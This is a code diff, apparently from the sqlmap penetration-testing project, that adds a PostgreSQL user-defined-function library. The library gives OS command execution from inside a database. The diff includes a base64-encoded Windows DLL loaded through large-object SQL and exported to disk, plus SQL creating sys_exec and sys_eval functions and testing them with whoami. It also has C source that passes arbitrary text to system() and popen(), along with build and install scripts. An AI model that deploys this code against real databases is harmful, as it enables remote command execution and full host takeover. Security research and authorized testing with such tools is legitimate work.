-- UPDATE udftest SET data=data||'2wd53IRnk9xsmFnZTttt/u8WBt332BvA99hZSF1WuLwYvgQaHX/pV1A7xnMPiwdTAlA5rPQO1jv+cvEwJSALEinkIE9pDd6+ETUIuE1aLmY5AXP/8u9KWGhBPAPBgThQRXXvM9K5CwEbdoN/HEgYD5Tnwl07PyW+NS3dSDHID7dBRaVLbLdWBXEGM1cACBgR/98ajXbkoBwMO/lyCYtYCAPZO/sztd/gcgpCnCg71nLoat9ONh8O2U9q/qNwaNVkGOYbOBICUIPsCCnpu+HWMWYzxXDwZKMaiTAMFj5DTAloT/BwfV1nYuwS71WXLRNQt2iWhxkILAg7KyTBFYJw4egf9w/gAYkD1HbbqU8dAFmUi+WWKdaxnZ0Byj2pwPqdYmUt2C+7MUZGxk43PAVAREzG8uOSqRKwEOwJZbN2ch0Qyar776UWBh5a/T6UM5dttmwDjSvg+vzxQLAGmjyu/IrZwCbBdw3DlZYzHBzGUU4Ued6xfOh2aQISBCAUCqoYka3Y71yj7BBogvg7aA7+U1e/TuZAu35mfA2F6KdCicMrNZQE62C2xKRW43hjEXWYxhaKtZILl/AHNNHMlUEInSe++1vbOPQzDBE793UHvk9Z6wuF83XsEfgup8HgEAvwyAD31gfGRih9BF5fW7o/mAWcRkZGRlhcYGgAAGRHVAAA1CgV8gIhAI10Z9l9pRQRIgNkA0Bl0AzSAXJIXf///RJREhBLUlNEUwG3/T9I581Otf//N//blFHkL74MDGM6XERvY3VtZW50cyBhbmQgU2X//9v/dHRpbmdzXEFkbQdpc3RyYXRvci5XMkszU1RFTv63t/ZVUERBBjNlc2sWcFxzaGFyZVx2/O3/3yZ1YWxfY3BwX3Byb2plY3Q+bGliX3Bv/f//tmcfc3FsdWRmX3N5c184MlxSZWxlYXNlIMd+gSAucGRi0dUZbPK9WHcH0A91g3WVq6EHbQOBAzslhyfMB30PJNGdsNgfCQsDH9AogwAAAn0DpaLtsRm/RP+q';
-- UPDATE udftest SET data=data||'iiSCAIAAAGAw/woqwEIU//+XZ3gQAUdldEN1cnJlbnRQcm9jZXNzvf//yElkU3lzdGVtVGltZUFzRmlsZQn+1n6LGAhja0NvdS8NUXVlcnlQrcXa3wNmb3JtYW48Fg4Y3/6t+0Rpc2FiM2hXYWRMaWJyYSdDYWxsXCv/t3NvSXNEZWJ1Z2dlcm127W172VRTVW5oQGQxZEV4Rq2wmPtwdGlvbnNKGQTQtpS5ElQXtm+ytkRhHhFJkGwMa8257dZAnW1wh2VHUX9Zwlpzd1VRIhtCYbZsXMQVM6y7Pc2FPF9jaXQ0bQrXtu8GXzRfYW1zZwh4EQvtd7/wZGp1Ql9mZGl2DV9DcHBYY78JoP1hvF9kZWNvA5HctjBhaTJdbR55GGxr7xVCizL1CW5NESYLFhMPZQ2+dvuEXxtyNF9MbW0cGG5bs2v/V2RfbnU9RG1hYx5ye25hYzRuc9gdCMZuhm1m8nQsrnJuhHPN3O0d/N0qcGVVRV5zhfYPYwe0MDrvsdsE51bIzotvb7aGoX1rIlZuX3R5ORwaFlsotIkVil9yCp49zcJsRpGkcEVwZwFccO9DdG9hc0u6dW3///9nVhAzGAksFiMtCxcpERcRB4YGBhcJBwUWDB5/+///CAoLFgkYGBUFBhsFDBAGBxcGIQURDwYUIRELCCff/7crIgUHDREdDRhTLUg4BgAHCLJt3y4MCTMKCQsMWwUWFu7f/u0OCzQVCxgWDT0FQrwFEh4UBmky2d7N/xEMDh1NBRcjDQwkCAtEAvBvKvh/NARgBOgIBBwcBAAyTAEFAC3/YfVTHoNJNOAAAiELAQkMCJj9JlsArBULbOa+9xoJCwLeHgf3uzTfA2AEc4IeQAEqbM+WvQIHBnAmB7hmtm/ZjCJQFEBPsACrZntTUJ930BzVtyx2IBghQgAvbPMDSbAudGV4dLoKkMNDNhsMt0JgLnLLLWGQW2H7KAcIE7rvNYcCQC4m/gOUMLhN2WkCJ8BPc3Jg3wvWgOuwcxpPzc3RCFKp';
-- UPDATE udftest SET data=data||'T4wBUPtNySAeQhuMIxIAAHxyoVJTAAASAAAA/wAAAACAfCQIAQ+FuQEAAGC+AHAAEI2+AKD//1eDzf/rDZCQkIoGRogHRwHbdQeLHoPu/BHbcu24AQAAAAHbdQeLHoPu/BHbEcAB23PvdQmLHoPu/BHbc+QxyYPoA3INweAIigZGg/D/dHSJxQHbdQeLHoPu/BHbEckB23UHix6D7vwR2xHJdSBBAdt1B4seg+78EdsRyQHbc+91CYseg+78Edtz5IPBAoH9APP//4PRAY0UL4P9/HYPigJCiAdHSXX36WP///+QiwKDwgSJB4PHBIPpBHfxAc/pTP///16J97ktAAAAigdHLOg8AXf3gD8AdfKLB4pfBGbB6AjBwBCGxCn4gOvoAfCJB4PHBYjY4tmNvgBQAACLBwnAdDyLXwSNhDC0cgAAAfNQg8cI/5YEcwAAlYoHRwjAdNyJ+VdI8q5V/5YIcwAACcB0B4kDg8ME6+FhMcDCDACDxwSNXvwxwIoHRwnAdCI873cRAcOLA4bEwcAQhsQB8IkD6+IkD8HgEGaLB4PHAuvii64McwAAjb4A8P//uwAQAABQVGoEU1f/1Y2HBwIAAIAgf4BgKH9YUFRQU1f/1VhhjUQkgGoAOcR1+oPsgOnDmP//AAAASAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAAEBAiABABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAAAAAAAEAAAAAAABABgAAAAYAACAAAAAAAAAAAAEAAAAAAABAAIAAAAwAACAAAAAAAAAAAAEAAAAAAABAAkEAABIAAAAXIAAAFYCAADkBAAAAAAAAFhAAAA8YXNzZW1ibHkgeG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYxIiBtYW5pZmVzdFZlcnNpb249IjEuMCI+DQogIDx0cnVzdEluZm8geG1sbnM9InVybjpzY2hlbWFzLW1pY3Jvc29mdC1jb206YXNtLnYzIj4NCiAgICA8c2VjdXJpdHk+DQogICAgICA8cmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICAgICAgPHJlcXVlc3RlZEV4ZWN1dGlvbkxldmVsIGxldmVsPSJhc0ludm9rZXIiIHVpQWNjZXNzPSJmYWxzZSI+PC9yZXF1ZXN0ZWRFeGVjdXRpb25MZXZlbD4NCiAgICAgIDwvcmVxdWVzdGVkUHJpdmlsZWdlcz4NCiAgICA8L3NlY3VyaXR5Pg0KICA8L3RydXN0SW5mbz4NCiAgPGRlcGVuZGVuY3k+DQogICAgPGRlcGVuZGVudEFzc2VtYmx5Pg0KICAgICAgPGFzc2VtYmx5SWRlbnRpdHkgdHlwZT0id2luMzIiIG5hbWU9Ik1pY3Jvc29mdC5WQzkwLkNSVCIgdmVyc2lvbj0iOS4wLjIxMDIyLjgiIHByb2Nlc3NvckFyY2hpdGVjdHVyZT0ieDg2IiBwdWJsaWNLZXlUb2tlbj0iMWZjOGIzYjlhMWUxOGUzYiI+PC9hc3NlbWJseUlkZW50aXR5Pg0KICAgIDwvZGVwZW5kZW50QXNzZW1ibHk+DQogIDwvZGVwZW5kZW5jeT4NCjwvYXNzZW1ibHk+UEEAAAAAAAAAAAAAAAAsgwAABIMAAAAAAAAAAAAAAAAAADmDAAAcgwAAAAAAAAAAAAAAAAAARYMAACSDAAAAAAAAAAAAAAAAAAAAAAAA';
-- UPDATE udftest SET data=data||'AAAAAFKDAABggwAAcIMAAICDAACOgwAAAAAAAJyDAAAAAAAAooMAAAAAAABLRVJORUwzMi5ETEwATVNWQ1I5MC5kbGwAcG9zdGdyZXMuZXhlAAAATG9hZExpYnJhcnlBAABHZXRQcm9jQWRkcmVzcwAAVmlydHVhbFByb3RlY3QAAFZpcnR1YWxBbGxvYwAAVmlydHVhbEZyZWUAAABmcmVlAABwZnJlZQAAAAAAAABTHoNJAAAAAAaEAAABAAAABQAAAAUAAADUgwAA6IMAAPyDAAAAEAAAkBAAABAQAACgEAAAIBAAACCEAAAuhAAAQIQAAFKEAABbhAAAAAABAAIAAwAEAGxpYl9wb3N0Z3Jlc3FsdWRmX3N5cy5kbGwAUGdfbWFnaWNfZnVuYwBwZ19maW5mb19zeXNfZXZhbABwZ19maW5mb19zeXNfZXhlYwBzeXNfZXZhbABzeXNfZXhlYwAAcAAAEAAAAC07KD0sPQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
-- Create a new OID for a large object, it implicitly adds an entry in the
-- PostgreSQL large objects system table
--
-- References:
-- http://www.postgresql.org/docs/8.3/interactive/largeobjects.html
-- http://www.postgresql.org/docs/8.3/interactive/lo-funcs.html
SELECT lo_unlink(35817);
SELECT lo_create(35817);
-- Update the PostgreSQL system large objects table assigning to the just
-- created OID the binary (base64 decoded) UDF as data
--
-- Refereces:
-- http://lab.lonerunners.net/blog/sqli-writing-files-to-disk-under-postgresql
UPDATE pg_largeobject SET data=(DECODE((SELECT data FROM udftest), 'base64')) WHERE loid=35817;
-- Export the binary UDF OID to a file on the file system
--
-- Any folder where postgres user has read/write/execute access is valid
-- SELECT lo_export(35817, E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll');
--
-- Notes:
-- If the library file already exists, the user postgres does not have
-- access to overwrite it
-- The following enumerates the PostgreSQL data directory
-- SELECT CURRENT_SETTING('data_directory')
-- Reference:
-- http://www.postgresql.org/docs/8.3/interactive/functions-admin.html
-- The following will save into C:\Program Files\PostgreSQL\8.3\data
SELECT lo_export(35817, 'lib_postgresqludf_sys.dll'); -- Favourite one, no need to enumerate the PostgreSQL data directory before
-- The following will save into nowhere
-- SELECT lo_export(35817, E'\lib_postgresqludf_sys.dll');
-- The following would save into C:\ (Permission denied)
-- SELECT lo_export(35817, E'\\lib_postgresqludf_sys.dll');
-- Create two functions from the binary UDF file
-- CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS E'C:\\Documents and Settings\\postgres\\lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
-- Test the two functions
SELECT sys_exec('echo test > %TEMP%/lib_postgresqludf_sys.txt'); -- %TEMP% path is C:\Documents and Settings\postgres\Local Settings\Temp
SELECT sys_eval('echo %TEMP% && whoami');
-- Cleanup the file system and the database
SELECT sys_exec('del %TEMP%\\lib_postgresqludf_sys.*');
DROP TABLE IF EXISTS udftest;
DROP FUNCTION IF EXISTS sys_exec(text);
DROP FUNCTION IF EXISTS sys_eval(text);

View File

@@ -0,0 +1,11 @@
LIBDIR=/tmp
8.2:
gcc -Wall -I/usr/include/postgresql/8.2/server -O1 -shared src/8.2/lib_postgresqludf_sys.c -o so/8.2/lib_postgresqludf_sys.so
strip -sx so/8.2/lib_postgresqludf_sys.so
cp -f so/8.2/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so
8.3:
gcc -Wall -I/usr/include/postgresql/8.3/server -O1 -shared src/8.3/lib_postgresqludf_sys.c -o so/8.3/lib_postgresqludf_sys.so
strip -sx so/8.3/lib_postgresqludf_sys.so
cp -f so/8.3/lib_postgresqludf_sys.so $(LIBDIR)/lib_postgresqludf_sys.so

View File

@@ -0,0 +1,53 @@
#!/bin/bash
# lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
# Copyright (C) 2009 Bernardo Damele A. G.
# web: http://bernardodamele.blogspot.com/
# email: bernardo.damele@gmail.com
#
# This library is free software; you can redistribute it and/or
# modify it under the terms of the GNU Lesser General Public
# License as published by the Free Software Foundation; either
# version 2.1 of the License, or (at your option) any later version.
#
# This library is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
# Lesser General Public License for more details.
#
# You should have received a copy of the GNU Lesser General Public
# License along with this library; if not, write to the Free Software
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
# Adapt the following settings to your environment
PORT="5432"
VERSION="8.3"
USER="postgres"
echo "Compiling the PostgreSQL UDF"
make ${VERSION}
if test $? -ne 0; then
echo "ERROR: You need postgresql-server development software installed"
echo "to be able to compile this UDF, on Debian/Ubuntu just run:"
if test "${VERSION}" == "8.2"; then
echo "apt-get install postgresql-server-dev-8.2"
else
echo "apt-get install postgresql-server-dev-8.3"
fi
exit 1
else
echo "PostgreSQL UDF compiled successfully"
fi
echo -e "\nPlease provide your PostgreSQL 'postgres' user's password"
psql -h 127.0.0.1 -p ${PORT} -U ${USER} -q template1 < lib_postgresqludf_sys.sql
if test $? -ne 0; then
echo "ERROR: unable to install the UDF"
exit 1
else
echo "PostgreSQL UDF installed successfully"
fi

View File

@@ -0,0 +1,23 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -0,0 +1,111 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
//SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@@ -0,0 +1,111 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
//VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@@ -0,0 +1,23 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -0,0 +1,111 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern DLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
//SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@@ -0,0 +1,111 @@
/*
lib_postgresqludf_sys - a library with miscellaneous (operating) system level functions
Copyright (C) 2009 Bernardo Damele A. G.
web: http://bernardodamele.blogspot.com/
email: bernardo.damele@gmail.com
This library is free software; you can redistribute it and/or
modify it under the terms of the GNU Lesser General Public
License as published by the Free Software Foundation; either
version 2.1 of the License, or (at your option) any later version.
This library is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public
License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
*/
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
#define _USE_32BIT_TIME_T
#define DLLEXP __declspec(dllexport)
#define BUILDING_DLL 1
#else
#define DLLEXP
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <ctype.h>
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
PG_FUNCTION_INFO_V1(sys_exec);
extern PGDLLIMPORT Datum sys_exec(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
int32 result = 0;
char *command;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command execution: %s", command);
*/
result = system(command);
free(command);
PG_FREE_IF_COPY(argv0, 0);
PG_RETURN_INT32(result);
}
PG_FUNCTION_INFO_V1(sys_eval);
extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
text *result_text;
int32 argv0_size;
char *command;
char *result;
FILE *pipe;
char line[1024];
int32 outlen, linelen;
argv0_size = VARSIZE(argv0) - VARHDRSZ;
command = (char *)malloc(argv0_size + 1);
memcpy(command, VARDATA(argv0), argv0_size);
command[argv0_size] = '\0';
/*
Only if you want to log
elog(NOTICE, "Command evaluated: %s", command);
*/
result = (char *)malloc(1);
outlen = 0;
pipe = popen(command, "r");
while (fgets(line, sizeof(line), pipe) != NULL) {
linelen = strlen(line);
result = (char *)realloc(result, outlen + linelen);
strncpy(result + outlen, line, linelen);
outlen = outlen + linelen;
}
pclose(pipe);
if (*result) {
result[outlen-1] = 0x00;
}
result_text = (text *)malloc(VARHDRSZ + strlen(result));
//VARATT_SIZEP(result_text) = strlen(result) + VARHDRSZ;
SET_VARSIZE(result_text, VARHDRSZ + strlen(result));
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net. This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2008 Bernardo Damele A. G. <bernardo.damele@gmail.com> Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com> Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free the terms of the GNU General Public License as published by the Free

204
lib/contrib/magic.py Normal file
View File

@@ -0,0 +1,204 @@
#!/usr/bin/env python
"""
$Id$
Adam Hupp <adam@hupp.org>
Reference: http://hupp.org/adam/hg/python-magic
License: PSF (http://www.python.org/psf/license/)
"""
import os.path
import ctypes
import ctypes.util
from ctypes import c_char_p, c_int, c_size_t, c_void_p
class MagicException(Exception): pass
class Magic:
"""
